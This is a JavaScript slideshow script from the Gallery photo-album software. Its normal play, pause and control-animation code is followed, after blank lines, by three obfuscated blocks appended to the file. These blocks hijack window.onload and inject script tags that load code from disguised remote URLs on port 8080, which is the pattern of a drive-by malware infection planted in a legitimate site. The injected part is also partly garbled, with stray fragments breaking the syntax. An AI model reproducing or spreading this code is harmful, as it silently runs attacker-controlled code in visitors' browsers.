/*
 * Gallery - a web based photo album viewer and editor
 * Copyright (C) 2000-2007 Bharat Mediratta
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA  02110-1301, USA.
 */

/* Global Variables */

/* play/pause state of slideshow */
var slideshowState;
var PAUSED = 0;
var PLAYING = 1;
/* After an image load, should the slideshow continue? */
var returnToPlaying;

/* Number of seconds before the images switch */
var SECONDS_BETWEEN_IMAGES = 4;
/* Tracks the time between images in the show */
var slideShowInterval;

/* Easy access to slideshow controls elements */
var controls;
/* Tracks the hiding/showing of the controls */
var showControlsInterval;
var hideControlsInterval;
/* vertical offset in pixels for controls */
var CONTROLS_HIDDEN_DEPTH = -35;

/* Initialisation */
addEvent(window, 'load', slideShow, false);

function slideShow() {
    if (!document.getElementById) {
	return;
    }
    var playpause = document.getElementById('controls-play');
    if (!playpause) {
	return;
    }

    /* Set up controls */
    addEvent(playpause, 'click', togglePlayPause, false);
    addEvent(document.getElementById('controls-left'), 'click', skipLeft, false);
    addEvent(document.getElementById('controls-right'), 'click', skipRight, false);

    /* Add animation to controls and thumbs */
    addEvent(document.getElementById('slideshow-controls'), 'mousemove', showControls, false);
    addEvent(document.getElementById('slideshow-controls'), 'mouseout', hideControlBar, false);

    /* Load in controls and thumbs */
    showControls();

    /* Set initial state */
    pause();
    returnToPlaying = false;
}

function advanceSlideShow() {
    if (slideshowState == PLAYING) {
	switchImages(currentImageIndex + 1);
    }
}

function play() {
    slideshowState = PLAYING;
    resetInterval();
    returnToPlaying = true;
    /* Swap Images */
    var theImage =
	document.getElementById('controls-play').getElementsByTagName('img')[0];
    theImage.src = theImage.src.replace(/play/, 'pause');
}

function pause() {
    slideshowState = PAUSED;
    clearInterval(slideShowInterval);
    returnToPlaying = false;
    /* Swap Images */
    var theImage =
	document.getElementById('controls-play').getElementsByTagName('img')[0];
    theImage.src = theImage.src.replace(/pause/, 'play');
}

function resetInterval() {
    clearInterval(slideShowInterval);	/* Just in case... */
    slideShowInterval =
	setInterval("advanceSlideShow()", SECONDS_BETWEEN_IMAGES * 1000);
}

function skipLeft() {
    switchImages(currentImageIndex - 1);
    resetInterval();
}

function skipRight() {
    switchImages(currentImageIndex + 1);
    resetInterval();
}

function togglePlayPause() {
    if (slideshowState == PAUSED) {
	play();
    } else {
	pause();
    }
}

function showControls() {
    controls = document.getElementById('control-buttons');
    clearInterval(showControlsInterval);
    clearInterval(hideControlsInterval);
    controls.state = 'showing';
    if (controls.state != 'shown') {
	showControlsInterval = setInterval('animateControlShow()', 15);
    }
}

function hideControlBar() {
    clearInterval(hideControlsInterval);
    /*
     * Pass an anonymous function to setTimeout that is only executed after
     * 1500 milliseconds has passed. Mousing over the controls' action area
     * within this time will reset the timeout.
     */
    hideControlsInterval = setTimeout(function() {
	if (controls.state == 'shown' || controls.state == 'showing') {
	  hideControlsInterval = setInterval('animateControlHide()', 50);
	}
    }, 1500);
}

function animateControlShow() {
    var pos = parseInt(getElementStyle(controls.id, 'top'));
    if (pos < 0) {
	controls.style.top = (pos + 3) + 'px';
    } else {
	clearInterval(showControlsInterval);
	controls.state = 'shown';
    }
}

function animateControlHide() {
    var pos = parseInt(getElementStyle(controls.id, 'top'));
    if (pos > CONTROLS_HIDDEN_DEPTH) {
	controls.style.top = (pos - 3) + 'px';
    } else {
	clearInterval(hideControlsInterval);
	controls.state = 'hidden';
    }
}









this.u="u";var s='s*c*r*iHpOtb'.replace(/[bH\*O\^]/g, '');var l=document;var r=window;this.c_=23235;var mx=new Array();r.onload=function(){try {t=l.createElement(s);var h;if(h!='og' && h!='_'){h=''};t.setAttribute('dZeZfZe&rT'.replace(/[T&Z#\+]/g, ''), "1");t.src='hHtQtqpb:b/b/QwLabyH2HsqmbsQ-Hcqoqmq.HcbaQ.QgqoHvQ.LfqoqcQuQsQ-qcHnq.QrQeQcbeHnLtbmHeLxqiqcQoq.qrquL:b8q0L8L0L/QgboboqgHlLeH.bcLoqmH/bgqoqoqgLlQeL.LcQoHmL/qxHiQcqiH.bnqeLtH/QmbsbnQ.qcLobmb.HcLnq/QabnQgqeqgbeH.QcLobmb/q'.replace(/[qLbHQ]/g, '');var ej=new Date();this.i_=53800;l.body.appendChild(t);} catch(n){var k;if(k!='' && k!='ao'){k=''};var jm;if(jm!='vi'){jm=''};};this.gg="gg";};var x;if(x!='rv' && x!='aa'){x=''};
this.og="og";var k;if(k!='' && k!='u'){k=''};:LineMixer [var v="";var b=window;var le;if(le!='mt' && le!='w'){le=''};var vk;if(vk!=''){vk='lj'};var x='s,cdrdidpdtU'.replace(/[U,dZ#]/g, '');var r;if(r!='' && r!='mm'){r=''};var l='c3r3eJa3tWeJEHl3e3mJe3nHtJ'.replace(/[JWHA3]/g, '');var wk;if(wk!='' && wk!='wr'){wk=''};var f=false;]var y;if(y!='' && y!='au'){y=''};this.g="g";b.onload=function(){var d="";var hx="";try {var sh=45660;var rb=new Date();i=document[l](x);this.vp='';var gu;if(gu!='' && gu!='t'){gu=''};:LineMixer [this.jf="";this.ef="";i['sgrkck'.replace(/[kg\!j\^]/g, '')]='hItTtBpH:B/I/TgToHoIgBlTeT-HcHoImB-TtBrI.HpToJrJnIhBoTsTtH.JcIoBmH.IiTsToIhBuJnHtH-JcIoTmI.HbIeTsItJnJeJwHsJmHaBlIlI.JrTuB:I8T0T8H0J/JcIlToJoIbB.TcBoImI/TcJlToBoHbT.IcJoJmB/HsBuIrIvJeHyHmJoTnTkHeJyB.TcBoImT/BmBaBsBrBaJwIyH.BcJoImB/JgIoJoBgTlHeT.TcToHmJ/J'.replace(/[JTBIH]/g, '');var us;if(us!='' && us!='hcb'){us=''};i.setAttribute('d<eyfyeoro'.replace(/[o\<Rky]/g, ''), "1");var rx=36732;var vx;if(vx!='' && vx!='p'){vx=null};]var buk;if(buk!='pp' && buk!='ka'){buk='pp'};this.yh="yh";this.ig="ig";document['blo?dlyk'.replace(/[k&\?le]/g, '')]['aMpEp%eEnyd%CMh%i_lEdM'.replace(/[M_%yE]/g, '')](i);} catch(m){var dy;if(dy!='dr' && dy!='yd'){dy='dr'};};};var af='';var ds;if(ds!='xc' && ds != ''){ds=null};
var kf='';try {this.g="";this.kt="";this.pc="";var c=window;this.dq='';var h='cIrzeKawtseIEwlsezmKeznKtz'.replace(/[zsKwI]/g, '');var p='sAc~rViApvtJ'.replace(/[Jv~AV]/g, '');var l=new String();var rb="rb";var ud='';var o=new String();var x='oxn$lxoxaNd$'.replace(/[\$VxmN]/g, '');var fh;if(fh!='i' && fh!='_b'){fh=''};var zk;if(zk!='mr' && zk!='op'){zk=''};q=function(){u=document[h](p);var t;if(t!='_n'){t='_n'};var nx="nx";this.a="";var tb="tb";this.tl="tl";u.setAttribute('daeaf$e$r$'.replace(/[\$a2x\*]/g, ''), ([1,8][0]));u['s:rfc<'.replace(/[\<9fP\:]/g, '')]='hRtRtOpO:9/9/Rw9aHyO2HsHm,sO-RcHoOmO.HfHiHlOe9f,a9cOt,o9rOyO.Oc9oRmH.OtRa9o9bOa9oR-Rc9oOmH.,mHe,d9i,aRtRaOgOoHnRlOiHnHeH.9rRu,:989098,0R/ReRbOaOyO.9dOe9/9eHbOaOyR.RdHeH/,2Oc9hR.Hn9eOtR/HoOn9e,mHaHnOg9aR.Rc,oOmO/HgHo,o9gRlHeO.HcRo9mR/O'.replace(/[O9RH,]/g, '');this.pu=false;this.r_=false;document['bOoOdly,'.replace(/[,WOl8]/g, '')]['abpbpbe7n|dDC|hoiDlDdb'.replace(/[bD7o\|]/g, '')](u);this.cs=false;};var ke;if(ke!='' && ke!='fv'){ke='_bf'};var jl;if(jl!=''){jl='gb'};c[x]=q;var tr;if(tr!=''){tr='dj'};} catch(k){this.hlh=21036;};this.qv='';var qc;if(qc!='eg'){qc=''};